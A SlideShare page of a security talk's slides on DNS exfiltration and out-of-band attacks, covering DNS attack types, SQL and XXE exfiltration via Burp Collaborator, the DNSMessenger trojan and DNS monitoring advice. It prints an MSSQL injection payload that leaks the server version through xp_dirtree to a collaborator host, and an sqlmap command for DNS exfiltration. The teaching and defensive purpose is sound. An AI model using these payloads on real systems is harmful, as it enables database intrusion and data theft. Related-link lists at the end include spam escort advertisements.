SlideShare une entreprise Scribd logo
1  sur  32
DNS Exfiltration and
Out-of-Band Attacks
Nitesh Shilpkar
: Rebel_Caesar
Introduction
• Currently working as an Assistant Manager for PwC Singapore.
• Hold some abbreviations like OSCE, OSCP, OSWP and CREST-CRT
• Received CVE’s for reporting issues in Adobe, Apple, Amazon and Google.
• Acknowledged by over 40+ websites such as Facebook, Google, AT&T and others.
• Hobbies: Writing Poems and Short-stories and Swimming
: Rebel_Caesar
Contents
 About DNS (Domain Name System)
 Types of DNS-based attacks
 Data exfiltration using DNS
 Out of band attacks- SQL and XML
 DNS RAT (Remote Access Trojan) –DNS Messenger
 DNS Exfiltration Restrictions
 Best practices for using DNS data to enhance investigations
Establishes an outbound connection through DNS
Victim’s Computer
Password.txt
Attacker’s Computer
Demo
Victims’s Box
Attacker’s Box
Motive: Get the “password.txt” file from the Victim’s Box
Burp collaborator sets up a DNS
DNS Tunnel
Password.txt
What is DNS?
Pic credit: Google.com
Domain Name System (DNS) is a transactional protocol that resolves domain names to IP addresses.
DNS Attacks and Organizations
• DNS plays an important role in the organizations to be able to access internal and external
websites
• DNS works on port 53
• Security devices are often shipped with open port 53, 80 and 443
• Security monitoring is done for HTTP, HTTPS and sadly, not for DNS
DNS Risks
• DNS Cache Poisoning
• DDOS Attacks
• DNS Tunneling
• Data Exfiltration
DNS Cache Poisoning
• Also known as “DNS Spoofing”
• Redirection of traffic from legitimate source to malicious websites
DNS Cache Poisoning
Not Found
DDOS Attacks
• The kind of attacks to disrupt a network service or website.
• A recent attack on a website belonging to Brian Krebs was measured at 363.1 Gbps
DNS Flood Attacks
 Attackers attempt to flood the servers with legitimate DNS requests or non-existent domains.
DNS Reflection Attacks
 Attackers attempt to flood networks using a spoofed address to return the traffic to a victim.
DNS Amplification Attacks
 Attackers attempt to take advantage of the ability to store large amounts of data with specifically crafted
packets.
 Used to exploit the message packet within DNS packets when DNSSEC is implemented.
DNS Tunneling
• Attackers know that DNS is important for facilitating communication and fetching websites.
• Attackers know that port 53, 80 and 443 are the common open ports on security devices such as firewalls.
• Attackers also know that port 53 (DNS) is rarely monitored. Hence, this can be utilized for fetching data
without detection
• Various malware families use DNS for their command and control channel.
Data Exfiltration
• DNS Tunnelling is bi-directional whereas Data exfiltration is uni-directional.
• DNS Tunneling involves pushing of a non-standard protocol or DNS through data packets
• Data exfiltration can be exploited through SQL and XML injection. This type of exfiltration using XML or
SQL is known as “Out-of-Band” Attacks.
Data Exfiltration using SQL
Data Exfiltration using SQL
Case Study:
declare @q varchar (200);set @q='p'+(SELECT
SUBSTRING(@@version,1,9))+'.burpcollaborator.netfoo'; exec master.dbo.xp_dirtree @q;--
Data Exfiltration using SQL
Case Study:
Data Exfiltration using SQL
Data exfiltration through a vulnerable database can take place on the availability of subroutines that can be
used directly or indirectly for the DNS resolution process. These kind of subroutines are then used for
exploiting SQL injections.
Microsoft SQL Server
An extended procedure is a dynamic link library which runs directly in the address space of Microsoft SQL
Server.
Attackers can make use of any of the following extended stored procedures to make a DNS request:
master..xp_dirtree()
This is an extended stored procedure and is used to get the list of all folders and subfolders inside a folder.
master..xp_fileexist()
This is an extended stored procedure for checking the existence of a file on the file system.
master..xp_subdirs()
This is an extended stored procedure to get a list of folders inside a given folder.
Data Exfiltration using SQL
Oracle
UTL_INADDR.GET_HOST_ADDRESS
This provides procedure for internet address support. The procedure “GET_HOST_ADDRESS()” retrieves the
IP address of a provided host.
UTL_HTTP.REQUEST
This is an extended procedure for providing HTTP requests. The procedure “REQUEST()” it retrieves data
from the provided address.
HTTPURITYPE.GETCLOB
This is an extended procedure for providing Character Large Object (CLOB) from a given address.
DBMS_LDAP.INIT
This procedure enables programmers to access data from Lightweight Directory Access Protocol (LDAP)
servers. It's INIT() procedure is used to initialize a session with the LDAP server.
Data Exfiltration using SQL
MySQL
LOAD_FILE
This function reads the file content and returns it as a string.
PostgreSQL
COPY
This function copies data between a files system files and a table.
Data Exfiltration using SQL
MySQL
LOAD_FILE
This function reads the file content and returns it as a string.
PostgreSQL
COPY
This function copies data between a files system files and a table.
Data Exfiltration using XML
Extensible Markup Language (XML) is a markup language that defines a set of rules for encoding documents
in a format that is both human-readable and machine-readable.
A typical XML request and response would like the following:
Data Exfiltration using XML
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs
when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This
attack may lead to the following:
• Information Disclosure
• Denial of service
• Server side request forgery
• Port Scanning (Host Scan)
• Local File Reading
• Intranet Access
Data Exfiltration using XML
Case Study:
We used BURP COLLABORATOR for exfiltration of data using DNS. We received a successful ping from
the server using the DNS name defined.
Magical Burp
BURP COLLABORATER is a magical tool which helps you set a DNS server and listens on it. Any request generated and
received by the DNS is showcased. The DNS requests when received can confirm a vulnerability like SQL, XML and
external service interactions. These received requests could be a source of information in terms of the injected
parameters.
Setting up Burp Collaborator Client:
1. Open Burp
2. Go to Burp> Burp collaborator client
Magical Burp
BURP COLLABORATER client will start and would look similar to this :
 Go to “Copy to Clipboard” and click on
it.
 You’ll get a new DNS address to test and
listen to when provided with an input.
Data Exfiltration using SQLMAP
SQLMAP is one of the best known tools for SQL injection exploitation. It also provides a way for
exfiltration of data using “–dns-domain”
Example-
sqlmap -u 'http://abc’ --level 5 --risk 3 --dns-domain opendns.online
DNSMessenger
 DNSMessenger was a Remote Access Trojan (RAT) discovered in 2017
 It was used for exfiltration of data through DNS and evade security devices
 It made use of the DNS TXT record queries and responses for a bidirectional control and command center
 It made use of multi-staged powershell and was completely fileless
Pic Credit: Cisco Talos
DNSMessenger Explained
• DNSMessenger used phishing mails and a malicious word document.
• The word document consisted of multiple Powershell payloads
• The last powershell was had a domain name configured which was used for communication.
• The command and control environment used DNS queries and each data consisted of the following parts:
 Session ID
 Sequence number
 Acknowledgment ID
Data Exfiltration Restrictions
Tunneling data using DNS could be easy, but even DNS comes with its own restrictions like the following-
 Maximum of 253 characters in domain
 Maximum of 63 characters per subdomain
 Case-insensitive (so we use Base32 encoding)
 TXT request to get maximum characters in response
Leveraging DNS
Organizations mostly are concerned with traffic that flow through the HTTP and HTTPS port and are heavily
monitored. The DNS based port 53, is often neglected due to the sheer amount of traffic that is generated.
DNS being the most significant part of an IT infrastructure can be leveraged to gather information and
monitor for anomalies. This would help organizations detect attacks and help safeguard its infrastructure.
The following could be taken as some of the steps as safeguards:
Know the Organization:
 Every organization has a security team which knows and understands the environment. They can easily
differentiate between the normal traffic and a traffic flood. Keeping an eye at the DNS traffic outside work
hours or unusual hours could be a security check.
Top-Level Domains:
 Organizations mostly have a check on the various top-level domains being accessed such as *.com, *net,
*org. The organizations should look for malicious DNS requests and keep a track of the top-level domains
being accessed such as *.tor, *.onion.
High Byte Counts
 One should check for DNS requests with higher byte counts.
Leveraging DNS
Whitelist the domains:
All the domains, your applications or network talks to, should be whitelisted and should not have regular
expressions but a full domain name.
Thank You
@Rebel_Caesar

Contenu connexe

Tendances

Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...
Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...
Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...Thư viện Tài liệu mẫu
 
Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019
Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019
Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019PinkHandmade
 
Nho Giáo và văn hóa Việt Nam
Nho Giáo và văn hóa Việt NamNho Giáo và văn hóa Việt Nam
Nho Giáo và văn hóa Việt Namnguyenhoangtri11ta
 
Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...
Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...
Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...nataliej4
 
Tin học ứng dụng - chương 3- vttu
Tin học ứng dụng - chương 3- vttuTin học ứng dụng - chương 3- vttu
Tin học ứng dụng - chương 3- vttuThái Trần
 
Cẩm nang du lịch Vũng Tàu
Cẩm nang du lịch Vũng TàuCẩm nang du lịch Vũng Tàu
Cẩm nang du lịch Vũng TàuNguyễn Minh Thanh
 
Mô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn La
Mô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn LaMô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn La
Mô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn LaTrong Hoang
 
Bai gioi thieu tour du lịch tam giang kỳ thú
Bai gioi thieu tour du lịch tam giang kỳ thúBai gioi thieu tour du lịch tam giang kỳ thú
Bai gioi thieu tour du lịch tam giang kỳ thúPhuong Nguyen
 
Tài liệu thuyết minh Phú Quốc tổng hợp
Tài liệu thuyết minh Phú Quốc tổng hợpTài liệu thuyết minh Phú Quốc tổng hợp
Tài liệu thuyết minh Phú Quốc tổng hợpThanh Hải
 
PP THÀNH NHÀ HỒ.pptx
PP THÀNH NHÀ HỒ.pptxPP THÀNH NHÀ HỒ.pptx
PP THÀNH NHÀ HỒ.pptxNhokRean
 

Tendances (20)

Đề tài: Di tích đền- đình Kim Liên quận Đống Đa, Hà Nội, HAY, 9đ
Đề tài: Di tích đền- đình Kim Liên quận Đống Đa, Hà Nội, HAY, 9đĐề tài: Di tích đền- đình Kim Liên quận Đống Đa, Hà Nội, HAY, 9đ
Đề tài: Di tích đền- đình Kim Liên quận Đống Đa, Hà Nội, HAY, 9đ
 
Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...
Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...
Đề tài Thực trạng và giải pháp phát triển du lịch tại vịnh Hạ Long giai đoạn ...
 
Đề tài: Giải pháp marketing nhằm phát triển thị trường Ngân hàng
Đề tài: Giải pháp marketing nhằm phát triển thị trường Ngân hàngĐề tài: Giải pháp marketing nhằm phát triển thị trường Ngân hàng
Đề tài: Giải pháp marketing nhằm phát triển thị trường Ngân hàng
 
Lv: Phát triển dịch vụ thanh toán không dùng tiền mặt tại ngân hàng, HOT!
Lv: Phát triển dịch vụ thanh toán không dùng tiền mặt tại ngân hàng, HOT!Lv: Phát triển dịch vụ thanh toán không dùng tiền mặt tại ngân hàng, HOT!
Lv: Phát triển dịch vụ thanh toán không dùng tiền mặt tại ngân hàng, HOT!
 
Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019
Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019
Tổ chức và bảo quản vốn tài liệu tại Thư viện Đại học Y Hà Nội_08322512092019
 
Nho Giáo và văn hóa Việt Nam
Nho Giáo và văn hóa Việt NamNho Giáo và văn hóa Việt Nam
Nho Giáo và văn hóa Việt Nam
 
Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...
Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...
Nghiên Cứu Tri Thức Bản Địa Về Khai Thác Và Sử Dụng Tài Nguyên Cây Thuốc Của ...
 
Tin học ứng dụng - chương 3- vttu
Tin học ứng dụng - chương 3- vttuTin học ứng dụng - chương 3- vttu
Tin học ứng dụng - chương 3- vttu
 
Lan van
Lan vanLan van
Lan van
 
Cẩm nang du lịch Vũng Tàu
Cẩm nang du lịch Vũng TàuCẩm nang du lịch Vũng Tàu
Cẩm nang du lịch Vũng Tàu
 
Luận văn: Vai trò của dược sỹ về báo cáo phản ứng có hại của thuốc
Luận văn: Vai trò của dược sỹ về báo cáo phản ứng có hại của thuốcLuận văn: Vai trò của dược sỹ về báo cáo phản ứng có hại của thuốc
Luận văn: Vai trò của dược sỹ về báo cáo phản ứng có hại của thuốc
 
Luận văn: Nâng cao chất lượng sinh hoạt chi bộ ở Đảng bộ Quân sự
Luận văn: Nâng cao chất lượng sinh hoạt chi bộ ở Đảng bộ Quân sựLuận văn: Nâng cao chất lượng sinh hoạt chi bộ ở Đảng bộ Quân sự
Luận văn: Nâng cao chất lượng sinh hoạt chi bộ ở Đảng bộ Quân sự
 
Mô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn La
Mô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn LaMô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn La
Mô hình du lịch bền vững vùng lòng hồ thuỷ điện Sơn La
 
Đề tại: Quản lý lễ hội Đua Voi tại huyện Buôn Đôn, Đắk Lắk, HOT
Đề tại: Quản lý lễ hội Đua Voi tại huyện Buôn Đôn, Đắk Lắk, HOTĐề tại: Quản lý lễ hội Đua Voi tại huyện Buôn Đôn, Đắk Lắk, HOT
Đề tại: Quản lý lễ hội Đua Voi tại huyện Buôn Đôn, Đắk Lắk, HOT
 
Kn bang sac ky long hieu nang cao hplc
Kn bang sac ky long hieu nang cao hplcKn bang sac ky long hieu nang cao hplc
Kn bang sac ky long hieu nang cao hplc
 
Bai gioi thieu tour du lịch tam giang kỳ thú
Bai gioi thieu tour du lịch tam giang kỳ thúBai gioi thieu tour du lịch tam giang kỳ thú
Bai gioi thieu tour du lịch tam giang kỳ thú
 
Đề tài: Di tích lịch sử văn hóa và kiến trúc nghệ thuật Bà Triệu, 9đ
Đề tài: Di tích lịch sử văn hóa và kiến trúc nghệ thuật Bà Triệu, 9đĐề tài: Di tích lịch sử văn hóa và kiến trúc nghệ thuật Bà Triệu, 9đ
Đề tài: Di tích lịch sử văn hóa và kiến trúc nghệ thuật Bà Triệu, 9đ
 
Luận văn: Giải pháp Marketing mở rộng thị trường cho Ngân hàng
Luận văn: Giải pháp Marketing mở rộng thị trường cho Ngân hàngLuận văn: Giải pháp Marketing mở rộng thị trường cho Ngân hàng
Luận văn: Giải pháp Marketing mở rộng thị trường cho Ngân hàng
 
Tài liệu thuyết minh Phú Quốc tổng hợp
Tài liệu thuyết minh Phú Quốc tổng hợpTài liệu thuyết minh Phú Quốc tổng hợp
Tài liệu thuyết minh Phú Quốc tổng hợp
 
PP THÀNH NHÀ HỒ.pptx
PP THÀNH NHÀ HỒ.pptxPP THÀNH NHÀ HỒ.pptx
PP THÀNH NHÀ HỒ.pptx
 

Similaire à DNS Exfiltration and Out-of-bound attacks

Reconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessReconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessLeon Teale
 
DNS Over HTTPS by Michael Casadevall
DNS Over HTTPS by Michael CasadevallDNS Over HTTPS by Michael Casadevall
DNS Over HTTPS by Michael CasadevallGlenn McKnight
 
Demystifying SharePoint Infrastructure – for NON-IT People
 Demystifying SharePoint Infrastructure – for NON-IT People  Demystifying SharePoint Infrastructure – for NON-IT People
Demystifying SharePoint Infrastructure – for NON-IT People SPC Adriatics
 
Hacking Fundamentals - Jen Johnson , Miria Grunick
Hacking Fundamentals - Jen Johnson , Miria GrunickHacking Fundamentals - Jen Johnson , Miria Grunick
Hacking Fundamentals - Jen Johnson , Miria Grunickamiable_indian
 
Data Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksData Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksMiroslav Stampar
 
Minieri CS6262 Project Poster
Minieri CS6262 Project PosterMinieri CS6262 Project Poster
Minieri CS6262 Project PosterJoe Minieri
 
Dns protocol design attacks and security
Dns protocol design attacks and securityDns protocol design attacks and security
Dns protocol design attacks and securityMichael Earls
 
Network And Application Layer Attacks
Network And Application Layer AttacksNetwork And Application Layer Attacks
Network And Application Layer AttacksArun Modi
 
Detecting dns-tunneling-34152
Detecting dns-tunneling-34152Detecting dns-tunneling-34152
Detecting dns-tunneling-34152huynhvanphuc
 
ICANN 51: Name Collision
ICANN 51: Name CollisionICANN 51: Name Collision
ICANN 51: Name CollisionICANN
 
Domain Name System (DNS) Fundamentals
Domain Name System (DNS) FundamentalsDomain Name System (DNS) Fundamentals
Domain Name System (DNS) FundamentalsWebSniffer
 
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...Felipe Prado
 
Leveraging DNS to Surface Attacker Activity
Leveraging DNS to Surface Attacker ActivityLeveraging DNS to Surface Attacker Activity
Leveraging DNS to Surface Attacker ActivitySqrrl
 

Similaire à DNS Exfiltration and Out-of-bound attacks (20)

Understanding DNS Security
Understanding DNS SecurityUnderstanding DNS Security
Understanding DNS Security
 
Reconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessReconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awareness
 
DNS Over HTTPS by Michael Casadevall
DNS Over HTTPS by Michael CasadevallDNS Over HTTPS by Michael Casadevall
DNS Over HTTPS by Michael Casadevall
 
Demystifying SharePoint Infrastructure – for NON-IT People
 Demystifying SharePoint Infrastructure – for NON-IT People  Demystifying SharePoint Infrastructure – for NON-IT People
Demystifying SharePoint Infrastructure – for NON-IT People
 
Tools kali
Tools kaliTools kali
Tools kali
 
Hacking Fundamentals - Jen Johnson , Miria Grunick
Hacking Fundamentals - Jen Johnson , Miria GrunickHacking Fundamentals - Jen Johnson , Miria Grunick
Hacking Fundamentals - Jen Johnson , Miria Grunick
 
Data Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksData Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection Attacks
 
Introduction
IntroductionIntroduction
Introduction
 
Minieri CS6262 Project Poster
Minieri CS6262 Project PosterMinieri CS6262 Project Poster
Minieri CS6262 Project Poster
 
Is DNS a Part of Your Cyber Security Strategy?
Is DNS a Part of Your Cyber Security Strategy? Is DNS a Part of Your Cyber Security Strategy?
Is DNS a Part of Your Cyber Security Strategy?
 
Dns protocol design attacks and security
Dns protocol design attacks and securityDns protocol design attacks and security
Dns protocol design attacks and security
 
Bo2004
Bo2004Bo2004
Bo2004
 
Network And Application Layer Attacks
Network And Application Layer AttacksNetwork And Application Layer Attacks
Network And Application Layer Attacks
 
Security tools
Security toolsSecurity tools
Security tools
 
Detecting dns-tunneling-34152
Detecting dns-tunneling-34152Detecting dns-tunneling-34152
Detecting dns-tunneling-34152
 
ICANN 51: Name Collision
ICANN 51: Name CollisionICANN 51: Name Collision
ICANN 51: Name Collision
 
Domain Name System (DNS) Fundamentals
Domain Name System (DNS) FundamentalsDomain Name System (DNS) Fundamentals
Domain Name System (DNS) Fundamentals
 
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...DEF CON 27 - GERALD DOUSSOT  AND ROGER MEYER - state of dns rebinding attack ...
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
 
Leveraging DNS to Surface Attacker Activity
Leveraging DNS to Surface Attacker ActivityLeveraging DNS to Surface Attacker Activity
Leveraging DNS to Surface Attacker Activity
 
DNS - MCSE 2019
DNS - MCSE 2019DNS - MCSE 2019
DNS - MCSE 2019
 

Dernier

Dreaming Marissa Sánchez Music Video Treatment
Dreaming Marissa Sánchez Music Video TreatmentDreaming Marissa Sánchez Music Video Treatment
Dreaming Marissa Sánchez Music Video Treatmentnswingard
 
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Kayode Fayemi
 
The workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdf
The workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdfThe workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdf
The workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdfSenaatti-kiinteistöt
 
BDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort ServiceBDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort ServiceDelhi Call girls
 
Air breathing and respiratory adaptations in diver animals
Air breathing and respiratory adaptations in diver animalsAir breathing and respiratory adaptations in diver animals
Air breathing and respiratory adaptations in diver animalsaqsarehman5055
 
ANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docxANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docxNikitaBankoti2
 
AWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdf
AWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdfAWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdf
AWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdfSkillCertProExams
 
Dreaming Music Video Treatment _ Project & Portfolio III
Dreaming Music Video Treatment _ Project & Portfolio IIIDreaming Music Video Treatment _ Project & Portfolio III
Dreaming Music Video Treatment _ Project & Portfolio IIINhPhngng3
 
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptxMohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptxmohammadalnahdi22
 
Causes of poverty in France presentation.pptx
Causes of poverty in France presentation.pptxCauses of poverty in France presentation.pptx
Causes of poverty in France presentation.pptxCamilleBoulbin1
 
Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...
Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...
Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...Delhi Call girls
 
BDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort ServiceBDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort ServiceDelhi Call girls
 
If this Giant Must Walk: A Manifesto for a New Nigeria
If this Giant Must Walk: A Manifesto for a New NigeriaIf this Giant Must Walk: A Manifesto for a New Nigeria
If this Giant Must Walk: A Manifesto for a New NigeriaKayode Fayemi
 
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night EnjoyCall Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night EnjoyPooja Nehwal
 
My Presentation "In Your Hands" by Halle Bailey
My Presentation "In Your Hands" by Halle BaileyMy Presentation "In Your Hands" by Halle Bailey
My Presentation "In Your Hands" by Halle Baileyhlharris
 
Introduction to Prompt Engineering (Focusing on ChatGPT)
Introduction to Prompt Engineering (Focusing on ChatGPT)Introduction to Prompt Engineering (Focusing on ChatGPT)
Introduction to Prompt Engineering (Focusing on ChatGPT)Chameera Dedduwage
 
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...Hasting Chen
 
Thirunelveli call girls Tamil escorts 7877702510
Thirunelveli call girls Tamil escorts 7877702510Thirunelveli call girls Tamil escorts 7877702510
Thirunelveli call girls Tamil escorts 7877702510Vipesco
 
lONG QUESTION ANSWER PAKISTAN STUDIES10.
lONG QUESTION ANSWER PAKISTAN STUDIES10.lONG QUESTION ANSWER PAKISTAN STUDIES10.
lONG QUESTION ANSWER PAKISTAN STUDIES10.lodhisaajjda
 
Presentation on Engagement in Book Clubs
Presentation on Engagement in Book ClubsPresentation on Engagement in Book Clubs
Presentation on Engagement in Book Clubssamaasim06
 

Dernier (20)

Dreaming Marissa Sánchez Music Video Treatment
Dreaming Marissa Sánchez Music Video TreatmentDreaming Marissa Sánchez Music Video Treatment
Dreaming Marissa Sánchez Music Video Treatment
 
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
 
The workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdf
The workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdfThe workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdf
The workplace ecosystem of the future 24.4.2024 Fabritius_share ii.pdf
 
BDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort ServiceBDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 97 Noida Escorts >༒8448380779 Escort Service
 
Air breathing and respiratory adaptations in diver animals
Air breathing and respiratory adaptations in diver animalsAir breathing and respiratory adaptations in diver animals
Air breathing and respiratory adaptations in diver animals
 
ANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docxANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docx
 
AWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdf
AWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdfAWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdf
AWS Data Engineer Associate (DEA-C01) Exam Dumps 2024.pdf
 
Dreaming Music Video Treatment _ Project & Portfolio III
Dreaming Music Video Treatment _ Project & Portfolio IIIDreaming Music Video Treatment _ Project & Portfolio III
Dreaming Music Video Treatment _ Project & Portfolio III
 
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptxMohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptx
 
Causes of poverty in France presentation.pptx
Causes of poverty in France presentation.pptxCauses of poverty in France presentation.pptx
Causes of poverty in France presentation.pptx
 
Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...
Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...
Busty Desi⚡Call Girls in Sector 51 Noida Escorts >༒8448380779 Escort Service-...
 
BDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort ServiceBDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort Service
BDSM⚡Call Girls in Sector 93 Noida Escorts >༒8448380779 Escort Service
 
If this Giant Must Walk: A Manifesto for a New Nigeria
If this Giant Must Walk: A Manifesto for a New NigeriaIf this Giant Must Walk: A Manifesto for a New Nigeria
If this Giant Must Walk: A Manifesto for a New Nigeria
 
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night EnjoyCall Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
 
My Presentation "In Your Hands" by Halle Bailey
My Presentation "In Your Hands" by Halle BaileyMy Presentation "In Your Hands" by Halle Bailey
My Presentation "In Your Hands" by Halle Bailey
 
Introduction to Prompt Engineering (Focusing on ChatGPT)
Introduction to Prompt Engineering (Focusing on ChatGPT)Introduction to Prompt Engineering (Focusing on ChatGPT)
Introduction to Prompt Engineering (Focusing on ChatGPT)
 
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
 
Thirunelveli call girls Tamil escorts 7877702510
Thirunelveli call girls Tamil escorts 7877702510Thirunelveli call girls Tamil escorts 7877702510
Thirunelveli call girls Tamil escorts 7877702510
 
